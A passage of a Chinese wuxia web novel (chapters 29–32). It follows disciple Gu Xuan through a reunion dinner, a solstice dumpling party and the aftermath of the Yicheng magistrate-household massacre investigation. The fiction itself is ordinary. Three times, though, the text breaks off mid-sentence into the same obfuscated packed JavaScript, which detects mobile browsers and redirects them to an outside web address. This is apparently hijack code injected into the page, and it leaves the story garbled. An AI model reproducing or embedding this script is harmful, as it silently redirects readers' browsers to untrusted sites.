谢予:“没,师弟没问我就没说。我父亲是端王,不知王爷有没有跟你说过。” 顾暄摇摇头,“王爷说师兄是旧友的儿子,并未提及身份。” 29. 旧友 “旧友”一词真是奇妙。在同王爷的几位旧友在望江楼吃了一顿饭回来后,顾暄这样想 他刚喝了几杯望江楼最新上市的梅花落,头还有点晕。 朋友和旧友总归是不一样的,旧友总像是蒙上了层灰色,或是时间的灰纱,或是死亡的阴影。端王早逝,生者与死者站在两端,已经死去的人留在过去,所以叫旧友。 另一种,往昔同窗岁月已过,当年挚友各奔东西,旧时的好朋友,也叫旧友。 他们因为“旧友”在这里相聚,但是“旧友”不尽然全都来了。 提及“旧友”一词终是有些感伤的,喝了一杯梅花落就醉酒的陆文砚坐在梨木椅上,看着桌上的林炀和谢承礼还在互相劝酒,扶了扶额,转头对顾暄说: “王爷以前跟他们也是这样,几个人凑一块比谁的酒量最好,反正我是第一个不行的……王爷,以前在学宫念书时有时不想写夫子布置的作业,就跑来求我替他写,他倒好,跑去跟信王喝酒……原来这些事都过了那么久……” 顾暄微微动容,递了一盏解酒的茶水过去:“父亲来京朝见时,您几位再聚,人生无处不相逢。” 陆文砚接过茶水本想吹吹再喝,却发现茶温恰到好处,他抿了一口,道:“唉,上次柳青来京时林炀不在,再上次是承礼出京巡视河工,再往前是我离京……真希望下次能好好聚聚。” “下次”总是带着希望。 回忆结束,顾暄跟几位师兄走在回内院的小道上,走在前面的柳无喧和云谨被劝了几杯酒,酒意尚未散去,两个人便你一句我一句开始互揭老底。 顾暄和谢予走在他们后边,怕这两人走着走着一头扑在地上,提前给土地公拜年。 他们出去时还没有下雪,回来时天色已晚,点点白雪打着旋落下,顾暄伸手接了一片,还没看清形状时雪就化了,留下一滩小小的水迹。 谢予撑着伞,侧头问:“怎么了?” 顾暄摇摇头,收回手,本想说“想接一片雪看看”,又觉得这样太幼稚。 忍不住说出来后,谢予轻笑一声,指了指前边,“你这个年纪本来就可以幼稚。再说了,再幼稚能比得上前面那两位?” 云谨的声音从前边传来,“门规第二十四条,不可诽谤同门。” 柳无喧控诉道:“师兄怎么还跟小师弟讲我们的坏话?感情我的形象就是这样被败坏的。” 谢予慢声道:“‘门规第四条,不可无故撒谎。’我实话实说罢了。还有,‘门规第九条,夜间禁止大声喧哗。’再大点声等着被巡视长老抓吧。” 前边声音小了一些,云谨说:“你的形象本来就差,不用同门诽谤了。” “快滚。” 靴子踩在细软的雪上,后边两人有一会儿没说话了。那条路有些长,柳无喧赶时间到内院时总是不得不用轻功,有时轻功使得太快撞到沿路的同门,第二天他就会被巡视长老找上门。 谢予出神地望着空中落下的小雪,忽然说:“初次见面我不是有意要隐瞒身份,一旦跟皇家扯上关系总是要限制一部分自由,哪怕是在外院也很少人知道我的身份。” 顾暄吃惊于他的坦诚,“我知道的,师兄。我懂。” 他懂什么?王爷在他来京前告诉过他,天子脚下有权有势、有财有才的人多了去,做人低调点总归是有道理的。 就算能嚣张一时,谁又能保证十年后、二十年后也是权势依旧呢?起高楼、宴宾客和高楼塌、宾客散,有时不过是一瞬间的事。 大选结果前谢承礼用假名,谢予三缄其口自己的真实身份,陆文砚在醉酒后才敢喊旧友名字而非尊号……太多了。 谢予想了想,又说:“还有初次见面的无礼,以及试探,我向你道歉。师父两天内下了四道命令让我们带你到云庄,王爷爱子心切,我行事便有些偏激。” 顾暄哭笑不得:“我就没放在心上,师兄你喝醉啦?怎么今晚这么爱反思呢?反求诸己也不是这么用的。” 谢予:“跟你说开后好多了。能告诉我刚才在想什么吗?我看你有点不高兴。” 顾暄歪着头思考了一会,雪慢慢下大了,而小路还有一段距离。前面两人跑起来了,他们也慢慢加快脚步。顾暄最后认真地说:“也不是不高兴,只是在想我以后有几个能称得上旧友的朋友,就好了。” 惊讶之色在谢予脸上划过,他说:“那就祝你得偿所愿。” 那晚喝完酒回去后,几人睡到第二天的日上三竿还未起。几天不见的奚连忽然出现,挨个叫弟子起床,美其名曰突击检查武功。带着阑珊酒意的柳无喧一个不留神被奚连绊了一跤,倒在雪里时直呼“喝酒误事”。 轮到顾暄时,奚连让他跟几位师兄比试一下轻功。用内力支配的轻功一眨眼就飞出去了,顾暄比他们慢一会。然后奚连让有内力那几人分别将内力限到三分之一和三分之二,再跟顾暄一起从小径的尽头过来。 谢予的内力限制到三分之二时,顾暄的速度差不多和他持平。 奚连看完后,跟顾暄说:“你的轻功是一种很少人用、但是用好了有很大用处的轻功,叫少雀,是沈畅教你的?哦,他是你哥的师父,我差点忘了……少雀不比‘飞云’‘踏雪’这些需要内力的轻功差。哪怕是两个月后你能使用内力,平日里也应该多加练习这门轻功,最好把速度练到你师兄们内力全盛时的速度。” 顾暄要到十二月份下旬左右才能动用内力,这段时间除了修习心法就是练习不用内力的轻功。奚连通常会在指点他一番后三四天不见人影,有时候甚至半个月不见人影。 师兄几人来找他时让他习惯就好,“毕竟师父就是这么神出鬼没。” 冬至,除了几位在京城的同门回家,其他人都待在云庄里。北方冬至习惯吃饺子,几个人一商量,干脆自己动手包饺子。 李无逍出身青城山,以前犯了小错的处罚便是去厨房干活,练就了他一身厨房本领。柳无喧则是以前跟师兄们包过饺子,因此颇有经验。 李无逍和顾暄跑来木轩喊秀格一起时,秀格案子附近摆着几位药材,她正拿着小秤称重,砚台下压着一张纸。她看见一身宝蓝色长袍的李无逍和懒洋洋笼在狐裘里的顾暄,脸上浮现惊讶之色。 他们说冬至了,反正大家的家不在京城,不如聚在一起吃顿饭。 秀格跟着他们走在去清净堂的路上还在想,刚才为什么答应了他们过来? 清净堂是大长老及其门下弟子所居之处,几人聚在李无逍的雪轩里,取面粉、揉面团、擀饺子皮、调馅和包饺子。 李无逍边揉面团边问顾暄:“会擀皮还是包饺子?” 顾暄用了点语言的艺术:“我可以学。” 那就是不会咯。 李无逍不奇怪,他一个出身王府的贵公子会厨房重活他才要惊讶呢。柳无喧在厨房里调馅,李无逍想了想,干脆让顾暄去擀饺子皮。 轮到秀格,李无逍这回长了心,直接问人家大姑娘这会不会,得到的是否定就有些尴尬了;于是他问秀格要不要跟旁边的顾暄一起擀饺子皮。 她凝神细想的样子好像天地间只有这一件事值得上心,细眉如柳,因思索而稍稍低下去的眉毛又像高低不同的山峰。李无逍看着她,手里的动作慢了慢。 秀格思索了几秒,摇摇头,说自己去包饺子。 等所有东西准备齐全,大家开始包饺子。秀格的手又稳又准,每一个从她手里出来的饺子差不多都是一个模样的,看得包过几年饺子的柳无喧啧啧称奇,直呼她手巧。 “我记得南疆那儿冬至不是吃饺子的吧?师妹包饺子的手法却很娴熟。” 秀格有些不习惯被人当面夸赞,听到柳无喧的话只是抿了抿唇,道:“十年前有大梁人入赘我族,某一年的冬至他就包了饺子,我在旁边跟着学会了。” 柳无喧和李无逍包的饺子中规中矩,后面跟着秀格改进了一下方法,竟也有模有样了。顾暄学着他们包饺子,包出来的成品却总是大一个小一个的,不尽人意;不然就是破皮和合不上。 顾暄悻悻地取了一张新的饺子皮,不耻下问:“求师姐师兄们教我。” 几个人凑一块总能玩出新花样,包够了几人份的饺子后,李无逍和柳无喧开始创新了,顾暄看了看他们的创意,让厨房等下煮饺子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278661|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候把他们的另起一锅算了。 饺子上锅蒸熟后,先送了一些到各自师长的门下。等其他二位去而复返时,柳无喧说:“师父这几天又神出鬼没的,省了咱们跑腿…” 话音未落,一个人影闪进来,带着未融的寒意,没好气道:“不用给我跑腿是什么很值得高兴的事吗?” 顾暄接过师父的披风,柳无喧给他倒茶,嘴上也不忘犯贱:“给您跑腿是一件很值得高兴的事吗师父?” “好啊,以后为师指定你去跑腿了。” “别啊师父,不能厚此薄彼……” 几个话多的人聚在一块不愁冷场,谈话间说到几位师兄。 奚连这回没喝酒,时不时端起雪瓷盏抿一口,笑眯眯看着这些后生说笑。顾暄喝了几杯暖酒,醉意上来了,胆子也上来了。他慢吞吞挪过去,问:“师父,二师兄和三师兄入门那一年,您怎么一下子收了两个徒弟?” 顾暄的酒杯送到唇边,下半张脸被那只举杯的手挡住了,一双微微上挑的眼睛流光溢转,笑意盈盈。 奚连的笑容在朦胧的白雾里若隐若现,他伸指指了指柳无喧:“喏,问你三师兄。” 柳无喧语气遗憾:“这个说来话长,那年有三人进入内院,一个人拜师大长老门下,就是无逍师弟的师姐。我跟你云师兄都想拜师师父门下,但是名额只有一个,于是谁也不让谁。” 李无逍:“然后呢?” “然后我们就打架呗,谁赢了谁就拜师师父门下。”柳无暄说,“但是我们实力不相上下,决了几次也无法分出胜负,甚至还把几处演武场给整坏了。负责云庄后勤的人受不了,说再这样下去把庄主卖了都够不着修缮演武场的钱,然后我俩就进入师父门下了。” 顾暄想了想,这俩人那时候就实力不相上下,那师兄弟的先后是怎么分出来的?他把这个疑问说了出来,柳无喧放下酒杯重重叹气,提起往事郁闷得不行: “师父宣布结果后,云谨这厮反应速度快,直接跪下喊师父了,然后他就成了师兄,实际上我比他大几个月。” 云谨慢声纠正他:“没大没小,叫师兄。” 奚连大笑:“临场反应快也是一种本事,学着点吧。无喧因为这事郁闷了好长一段时间,见到云谨就直呼其名,半年后才肯叫师兄。” 柳无喧连声叹气:“一失足成千古恨。” 聚到后面,没想到原本回家吃饭的几人也来了,陆子凌一看见几位同门就倍感亲切,坐到李无逍和顾暄的中间;云谨撑着伞从雪中走过来,进门看见师父时手里的伞差点掉了。 谢予提着几盒点心,示意他们就着茶水或温酒试试。盖子一掀开,里面是不同地区的点心,京城的,江南一带的,苗疆所在的西南一带。 柳无喧吃到了老家特产点心,一口下去感动得差点涕泪横流,他一年多没回过家了,此时此刻吃到家乡的味道如何能不激动?于是他当场表白师兄:“师兄我爱你,你就是我的恩人。” 谢予立即说:“师弟你不要恩将仇报。” 不知道是谁起了个头,反应过来时众人已经笑作一团了。 这是顾暄第一个家人不在身边仍然很温暖的冬至。 过几天,顾暄收到王府来信。顾映说自己短暂回过一趟家,又出门了一词,现在启程回王府,最后一站稍有坎坷,回东临城后应该会在家中休养几个月。 顾暄将信看了又看,委实有些担心,下一封信王爷就解答了这个“坎坷”。 王爷的意思是顾映出去一趟,可能碰上喜欢的人了,要么是跟姑娘闹掰了,要么是别人不喜欢他。王爷做出如此推断的原因是顾映回来时戴了几年的玉佩不见了。他让顾暄得空时开导一下他哥,因为他哥看上去更像爱而不得的那一个。 这“坎坷”原来是情关啊。 于是顾暄将平日里有趣的事事无巨细地写下来,避开感情话题,跟他聊日常小事。某日写完信后看见窗外开得正盛的红梅,他灵机一动。于是,顾映收到信时觉得手感不对,凹凸不平的实在不像信纸。 拆开一看,有几片红梅落在手心上,鲜艳依旧,信纸上还染着淡淡的梅香。 30. 郡守府灭门案(一) 经脉受损,顾暄这两个多个月都是在服药中度过,久而久之连衣袖上都沾着点清苦的药味。王爷得知他受伤后,又给他寄了药茶,嘱托他按时服用。 顾暄每日除了练习轻功便是看书,从外院到内院那条小道上经常闪过一个白色身影,下午图南阁的书架旁会坐着一个人。奚连后面觉得他轻功练得差不多,便让他在不用内力的情况下练习使剑,尤其是他本身会的那几种。 师父神龙见首不见尾,师兄们有时也一连几天看不见。在十来天没有看见云谨和柳无喧后,顾暄忍不住对来看他顺便指点一下功夫的大师兄谢予说:“师兄,二师兄和三师兄呢?这几日都没有瞧见他们。” 此时是上午,谢予的眼下有一圈淡淡的青色,明显是休息不足。他刚指点完顾暄的武艺,此时坐在案几旁喝茶,闻言温声安抚:“你两位师兄有任务在身,所以出京一趟,归期不定。阿暄不必担心……可是这几日无聊了?” 顾暄抱着雪落摇摇头,触及谢予温和的目光,复而又点点头。他坐在谢予旁边,道:“原来云庄弟子还要出京做任务啊……” 谢予有一下没一下拨着雪落的剑穗,“是啊,历来都是如此。再过几年你实力到了一定境界,师父便会让你去历练一番。” 他十八岁那年离京大半年就是因为此事,云谨和柳无喧则是在十九岁出京历练。顾暄师弟看着小,师父估计会等个三四年再让他去历练一番。 至于任务,云庄在大梁境内几个州都有联系点,平日遇上朝廷跟江湖门派有牵扯时云庄便负责派人去调查。京城内非正常死亡且涉及江湖门派的事情,也有云庄参与。可以说,云庄是连接朝廷和江湖门派的一根线。 一提起历练顾暄就想到顾映,兴致也上来了,连着问了谢予几个相关问题。 谢予答到一半,忽然有人来报信,步履急切,声音慌乱。顾暄吃惊地看着那个跑来报信的弟子,他的手上拿着一只死掉的黑鸟,仔细一看没死,只是受了重伤,等了片刻还动了动翅膀。 云庄的信鸟有木鸟与活鸟,活鸟一般用于紧急传信。 那名弟子见到谢予时松了口气,把黑鸟呈上,“大师兄。” 谢予起身,脸色还是温和的。他拍了拍顾暄的肩膀,让顾暄好好习武和读书,有事就派人来竹轩找他。说完,他转过头,弟子看见他的脸上淡去笑意,接过黑鸟就走了。 顾暄那日心神不宁,下午去图南阁读书也没看得进去几个字。他看着手里那本有半个手掌厚的大梁国史第一册,心里想的是上午的事。 又坐了一盏茶时间,他将书放回书架,溜出图南阁,往雪轩的方向奔去。李无逍正在练剑,数九寒天下他身着单衣竟然还练出满头大汗。 顾暄站在门外,等他练完才走进去。 李无逍留意到顾暄露在外面的手指变青了,引着他到大堂内,吃惊道:“我天,你在门外站了多久?怎么不早说?” 大堂内有暖炉,顾暄靠近暖炉暖了会手。李无逍拿着汗巾擦汗,找个位子坐下,细细打量了他的脸色,问:“怎么了?出什么事了吗?” 顾暄:“我想问问你知不知道云师兄和柳师兄出的是什么任务?我好久都没看见他们了,还有师父,今天大师兄正跟我说着话也被喊走了。” 李无逍刚想问“你原来不知道吗?”,看见顾暄脸上带着疑惑和担忧的神色,话到嘴边又换了一种:“这个啊,我师姐也跟着两位师兄出任务了。据说是益城一带出现了非正常死伤,跟几个月前云庄调查的案子联系起来了。益城是柳师兄的家乡,所以几位师兄便动身去调查了。他们没跟你说是怕你担心吧。” 李无逍的师姐是和云谨柳无喧两个人一同进入内院中的另一个人,叫南秋鸣。顾暄见过几回,她是个当仁不让的女中豪杰,性格直爽。 几个月前云庄调查的案子?顾暄的心跳慢慢加速,他想起王爷曾经跟他说过,说那时谢予几人来东临城是因为在赤城和青州也发现了类似事情,来东临城是顺道调查。 东临城那事不知结果如何,现在益城又出现了类似情况。天戎旧部如此执着,莫非是想复国?还是单纯的痛恨大梁子民?看上午那名弟子和谢予的脸色,以及奚连半个月没露面,顾暄觉得这次的事不简单。 李无逍想了想:“赤城、青州、东临城也有过类似情况……诶,东临城不是你家乡吗? 说到后面他一拍掌,却发现顾暄的脸色不对。 赤城,青州,东临城,益城,这些地点的先后是有意为之还是……这次是巫骨杀人还是什么的?会不会涉及天戎旧部,或是南疆被驱逐的那一支白巫? “你怎么了……” 顾暄回过神。不知道是不是他的错觉,李无逍总觉得那张莹润如玉的脸白上了几分。 “是啊,那都是五六月份的事了。当时城里传得玄乎其玄的,大人们都拿这个吓唬小孩,说城里有变态抓小孩来做成木偶。” 李无逍以为他被当时的事吓着了,出言安慰道:“不用担心,我们在京城呢,天子脚下布防森严。再说那伙人有组织,这次倒不是抓人下蛊。” 不是抓人下蛊,那非正常死亡指的是什么? 见他带着疑惑的目光转过来,李无逍解释道:“这次在益城,据说是一位郡守的公子夜间突然发疯,持刀杀了全府三十多口人后不知所踪。关系朝廷官员再加上死亡人数太多,这才惊动了皇上。” 顾暄:“这跟几个月前的案子有什么关系?” 李无逍看了看四下没人,这才压低声音:“因为死去的三十多个人里有一个黑纱覆面的人,他死去的小屋里养着几十罐毒虫,黑纱覆面,毒虫,左肩上还纹着一朵曼陀罗花,你想到了谁?” 黑纱,毒虫……这些东西又出现在一位朝廷官员的家里。曼陀罗花是南疆巫人一族特有的标记,况且还是地位不低的巫人才有,类似于祭司、长老这些人。这样一个人怎么也不该出现在千里之外的朝廷官员府中,还是死在人家府中,按照几十年武成皇帝的性格,整个益城差不多都要被翻一遍。 顾暄抬起头:“师姐现下在何处?” 师姐是秀格,顾暄几人后面才知道秀格是南疆巫人中身份地位比较高的一支,和南疆受封的祭司关系匪浅,不知这些事对她有没有影响。 李无逍叹了口气:“三长老令她无事待在木轩中,这算是一种保护吧。前几天传回来的书信是益城的几位师兄师姐碰见了天戎前任左护法的一位徒弟,把他生擒了,这下天戎旧部也扯了进来,几位长老为这事头疼得很。” 天戎旧部和南疆,皇帝心头的两根刺,都在这个月被触及了。难怪谢予一副休息不足的样子,他是皇帝的侄子,又是云庄的大师兄,天天两头转,神仙来了也得瘦一圈。 两人正沉默着,忽然听到一阵急促的脚步声。李无逍站起身,披上外袍快步走出去,一掀帘子,问:“出什么事了?” 顾暄跟着出去,那名来报信的弟子跑得太快,差点摔跤。李无逍身影一动,瞬息之间到了一丈外,赶在这名弟子摔跤前扶住了他。 这来报信的慌乱情景跟上午的太像了,顾暄愕然。 那名弟子顾不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278662|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行礼,抓着李无逍的袖子,磕磕绊绊道:“几位、同门受伤了,师姐和、和云师兄……受伤、很重。” 顾暄闪到李无逍身边,问:“他们现下在何处?益城还是京城?” “京、京城。” 两人跟着那名弟子的指引,没一会儿李无逍和顾暄嫌他跑得慢,干脆一人架住他的一只胳膊,三道雪白的身影“唰”的一声飞了出去。 那弟子何时受过这种对待,一时间惊骇得忘了下面要说的话,只剩下: “啊啊啊啊啊啊……慢点慢点……” 事发突然,南秋鸣和云谨被安置到养病的养生堂。三人到时,碰上从别处赶过来的陆子凌。几位长老和老医师入内堂察看和治疗弟子伤势,药童来回端着水进出,端进去清水,端出来的水染上不同程度的红。 坐在一旁的柳无喧衣袍上沾着零零星星的血,眉骨往上破了道口子,脸色难看得很,几名年轻医师正给他处理外伤。谢予站在一旁,脸色跟柳无喧一样,时而看看师弟的伤势,时而看向内堂。 顾暄第一次看见这么狼狈的柳无喧,连救他的那次都比不上这一次。他怔愣片刻,喊了声“师兄”,脚步不自觉往那边拐去。 柳无喧抬头,等他过来时,柳无喧勉强笑笑:“怎么过来了?这儿血腥气重。” 柳无喧鬓边的一小块头发缠成了一块,估计是沾上了血又没有及时清理。顾暄看了看柳无喧左手上那道深深的、有一只手掌那么长的伤口,低声道:“别说这个了,您先去休息。” 柳无喧估计是想等云谨的消息,他的口型刚想说“不”,谢予也转过头同意顾暄的话,“是啊,秋鸣师妹和云师弟这边有我们,你先好好养伤。” 顾暄和陆子凌一人一边扶着柳无喧,打算强硬让他去休息,柳无喧无奈道:“好好好,我去行了吧?各位好师弟轻点儿。” 两人扶着他去了一处内堂,谢予在后头吩咐医师,已经有门人铺好床褥。顾暄叫人端来清水,用帕子沾清水洗去那小块头发上的血迹。 柳无喧看着顾暄细致的动作,忽然说:“想到家里的妹妹了,前几年我受伤回家被她看见,她当时也就八九岁吧,拿着药说要给我敷上。” 陆子凌的父亲只有他一个儿子,闻言羡慕道:“你们的关系真好。” “是啊。” 谢予把温水和丹药递给他,看着他服下并躺下休息了,几人才转去外堂。路上,谢予大致解释了出事过程。 云庄弟子着手调查郡守灭门案时发现一间放着瓶瓶罐罐的屋子,疑心有南疆人参和进这件事。夜里,守夜弟子发现有人潜入这间屋子,几人的打斗声引来几位师兄师姐。红鬾被生擒,总部的指示是把他带回京城,于是柳无喧留下,云谨和南秋鸣同五六个弟子押送红鬾回京。 离城半个时辰后,柳无喧看见天上炸开云庄特有的烟花,心道不好。他叫人守好郡守府,自己则带了几个人去支援。火速赶到那边,许久不见的奚连正被一群人围在中间打,一时间分不出手察看躺在地上的南秋鸣和云谨几人。 有人过来围攻他们,一时间两帮人打得不可开交,更要命的是跟那两人一同受伤躺在地上的红鬾要被人劫走了。与其他带着东西或秘密被人劫走,不如就地杀了他,奚连心下一横,祭出长剑一震,先一步送红鬾下地。 那群人见红鬾已死,便知今日没戏了,于是活着的赶紧逃,死了的就死了。奚连有心要把领头那两个黑衣人扣下,奈何这边徒弟伤势严重。他留下两道内力护住两人的心脉,让柳无喧带人尽快回京,他则留下继续调查。 31. 郡守府灭门案(二) 一向沉稳的谢予也难掩担忧,“不知师父伤势如何,现下他要追踪那伙黑衣人的身份,于是益城那边缺人,我打算同秀格去一趟,也是因为那边的案子和南疆有点关联。无逍、子凌和阿暄就留在内院,得空看顾一下师兄师姐的伤势。” 顾暄想起几个月前红鬾和紫魈费尽心思要抓走他,他们是为了什么?还有十五岁前不得离开东临城的预言,以及被封住的经脉,或许答案会在益城里。 他说:“师兄,我跟你们一起去吧。” 谢予和陆子凌异口同声说“不行”。陆子凌说:“你伤势未好,月底前都不可以动用内力,再加上那伙人穷凶极恶,少不了要打架的。” 谢予哭笑不得,让顾暄别打这个主意,“我答应了你父亲要照看你的伤势,你没有内力还跟着我跑去益城冒险,王爷知道要揍我了。” “……”顾暄知道这个方法可行性太低,听到两个人一致反对还是心有不甘,“今天是廿四,下个月就可以用内力了了,师兄真的不考虑一下?” 谢予抬起袖子替他挡了阵风,恰好一只通体玄黑的鸟扑棱翅膀飞过来,落在他的肩上。那只鸟儿还蹭了蹭他的脸,谢予拿下黑鸟带过来的信,语气跟先前没有一点变化:“不考虑。” 顾暄:“……” 顾暄和陆子凌坐在八仙椅上,看见谢予读完信后的表情慢慢微妙起来。两人对视一眼,莫不是益城那边又出事了?是庄主受伤严重?还是那伙黑衣人失去行踪了? 可是谢予的表情,又有些迷惑不解,又隐隐有些被气得没招了的无奈。他收好信,敛好神色,对顾暄说:“好吧,那你这几天准备一下,等你师兄师姐的伤稳定了我们再出发。” 陆子凌:“???” 顾暄瞪大眼睛,直觉那封信是师父的。 南秋鸣伤在肺腑,得卧床半个月。云谨右肩上中了一剑,也需要静养一段时间。得知顾暄几天后要跟着谢予和秀格去益城,除陆子凌外听到消息的人都一脸“你在说什么鬼话”的表情。 柳无喧眉骨上上贴着纱布,手臂包得跟粽子一样厚实,第一个坚决反对这一命令:“师兄你被什么东西迷了眼吧?怎么就同意让他去呢?这小子没内力遇上人只有被打的份。你让我去都行啊,干嘛让他去?” 顶着众多或明或暗的谴责的目光,谢予一个头两个大,忙把书信递了过去,无奈道:“这真不是我的主意,这是师父的意思。” 几个人凑在一块轮流传阅这薄薄的信纸,奚连那狂放不羁的字确实指定了要谢予、秀格和顾暄三人过来一趟,还说别管其他人说什么,他指定的人一定要来,下方的门主印章证实了这封信绝非伪造。 柳无喧将来信正反看了几遍,确信印章不是伪造的才将它扔回谢予怀里,悻悻道:“老头子搞什么鬼?” 明明奚连看着不老,一袭青衫,风度翩翩,说他是进京赶考的读书人都有人信,柳无喧私底下有不少回却喊他为老头子。 “许是师弟之前在东临城碰上了那伙人。”谢予折好书信,对顾暄说:“师妹,阿暄,你们回去收拾一下,阿暄最好把药茶也带上。我们后天出发。” 廿五,顾暄和秀格收拾好东西,然后去见了慕容肃和木廿一面。两位长老一开始对顾暄要跟着去的想法同样是不赞成,看是庄主的意思便勉强松口了。木廿给了他们一人一个香囊,里面放着滋养心神的草药,据说是她新研制的。 二长老文言殊在四天前收到奚连的传信就即刻动身益城,他守在郡守府中防止重要东西被窃,奚连则是去打架和救徒弟。 谢予在安排好云庄的大小事务后,外头已经快天黑了。他顺道去梅轩看了看顾暄,顾暄把重要东西都收拾好了,正拿着本书在看。手边放着一盏茶和一碟点心,茶香清幽中带着几丝苦味。 谢予鼻子动了动,“这是药茶吗?” 顾暄招呼他坐下,把点心往他那边推了推,“是啊,我喝了好几年的。”谢予还没吃晚饭,刚拿起一块糕点送到嘴边,闻言愣了一瞬,这一瞬的愣神不妨碍他咬下手中那块点心。 糕点方方正正,表面以青梅丝装饰,咬下去口腔里漫起一阵栗子香,细嚼口齿生香。这是云庄厨房特有的冬季栗子糕,稍稍去晚了都没有。 闻着那阵清苦的药味,顾暄却恍然不觉,举杯喝完最后几口药茶。谢予看见他咽下最后一口茶时脸皱了起来,便把栗子糕推过去,顾暄拿了一块,一口咬下大半块,腮帮子一鼓一鼓的。 谢予想,原来这是过口中的药味的。 顾暄知道大师兄这个点可能没吃饭,示意他吃完剩下那两块栗子糕,自己起身给他煮新的茶水。谢予看见他搁在桌上的书,封面用小楷写着“修远”二字,“修远”是顾家祖传的剑法。 他在梅轩坐了一盏茶的时间,嘱咐了一些明天要出发的事情,便离开了。他从梅轩出来,没有急着回自己的竹轩,而是往云庄外走去,乘着夜色来到皇宫。御书房旁还有个小阁子,两位叔叔正在里边看着书,只不过其中一位看的是京中流传的话本子。 文渊阁前守着门的两位玄袍侍卫看见谢予,低头无声行了个礼,一位侍卫进去通报。 谢予站在门前等了会,那位侍卫去而复返,低声道:“王爷,皇上让您进去。” 谢予在父亲过世几年后继承王位,尚未回到封地,留居京中。他的封号是从父亲那儿继承过来的,宣景皇帝曾跟他商量过要不要换一个封号,谢予念及这是父亲留给自己的为数不多的东西,便婉言拒绝了。 东方朔《七谏·沉江》有言:“正臣端其操行兮,反离谤而见攘。” 端,有端正、正直的意思,他父亲期望他成为一个端方雅正、明明如月的人。 谢予进去,给皇帝和信王行礼。宣景皇帝身着白色中衣,外面披着件金边龙纹墨袍,神色平静。他面容俊朗,比谢承礼年长三岁,鬓边已经有了几根白发,但不难看出当年的风采。 自己这个侄子眉目温和,处事不惊,跟他那早逝的父亲很像,一脉的温文有礼。自己把他接来宫中,跟霁儿一起长大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278663|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢承礼有时会说性格上予儿更像他的亲生儿子,霁儿有时太闹腾了。 宣景皇帝合上书卷放在一旁,问:“今日怎有空过来?” “侄儿想念两位叔叔,”谢予接过公公呈上来的茶水,微笑道:“所以赶在宫门落锁前来见一面。” 谢承礼卷起话本子,斜眼笑看他:“前几天不是见过了吗?没这么简单吧。” 谢予无奈:“皇叔您别想那么复杂……好吧,我后天要动身去益城,归期不定,所以来说一声。” 这案子谢承礼有所耳闻,云庄几位弟子受伤他也听说了些,闻言道:“不能换别人去吗?还有谁跟着你去?那几位长老还是你师父?” 谢予:“这次恐怕不行,我得亲自去一趟。一位师妹和一位师弟跟着我去。” 谢承礼卷起的戏曲本子轻轻敲在另一只手的手心上,语气有些不满:“我的天,没师长陪同就算了,还要带着两个小孩。你说的师弟是哪位?柳无喧还是李无逍?” “都不是。”谢予低头喝了口茶水,避开两位叔叔的目光,“是顾暄。” 文渊阁中一下子陷入沉默,几秒后谢承礼的声音响起:“什么鬼?” 廿六,秀格和顾暄早早起床,谢予早已在外厅中等候,刚要说些什么时他看见顾暄身上那身衣服,即将说出口的话突然就离家出走了,他跟秀格对视一眼,错开顾暄一步的秀格眼底里有震惊后的平静。 顾暄看起来挺高兴的,跟他打招呼:“早啊师兄。” 谢予:“…阿暄早,师妹早。” 早饭过后,其他人来送别,看到顾暄衣服都是一副言语卡在喉咙不上不下的表情,欲言又止。 为了不被认出,三人换下那身显眼的兰花白袍,换上各自的衣服。谢予穿着卷云纹浅蓝色长袍,腰间悬着一块通体微蓝的蓝田玉,然后就没有其他配饰了。 秀格在入内院前穿的便是一身低调的黑衣,外出也是,只不过脸上的黑纱取下来了。黑衣衬得她的皮肤雪白,加上清清冷冷的神色,让她站在那儿就像一枝独自盛放的红梅,李无逍想道。 顾暄偏好明艳的颜色,再加上好不容易出趟门,心情隐隐有些激动。他换了一身水红色的长袍,腰间是半掌宽的银白色腰封,衣摆边用银线绣着莲花,走起路来的效果跟云庄的兰花白袍一样。 陆子凌是个好人,说话从不伤人,没有他找不到夸赞的点的事物:“师弟这身衣服真是别致,乍一看让我想起了江南夏天的荷花。” 柳无喧绕着他走了几圈,沉思道:“看着像姑娘们穿的,我怎么感觉你跟师妹的衣服该换过来呢?以前你在东临城也这么穿吗?” 顾暄对他们的反应感到有些疑惑,“是啊,穿了几年了,不好看吗?”这身水粉色的衣袍冲淡了那张英俊的脸的英气,让他看起来有一种雌雄莫辨的美。 水红色咋了?又不是那种纯正的跟荷花一样的粉色。 柳无喧:“额……好看,很好看。”虽说穿上这身衣服师弟像师妹,但总归是好看的。 32. 郡守府灭门案(三) 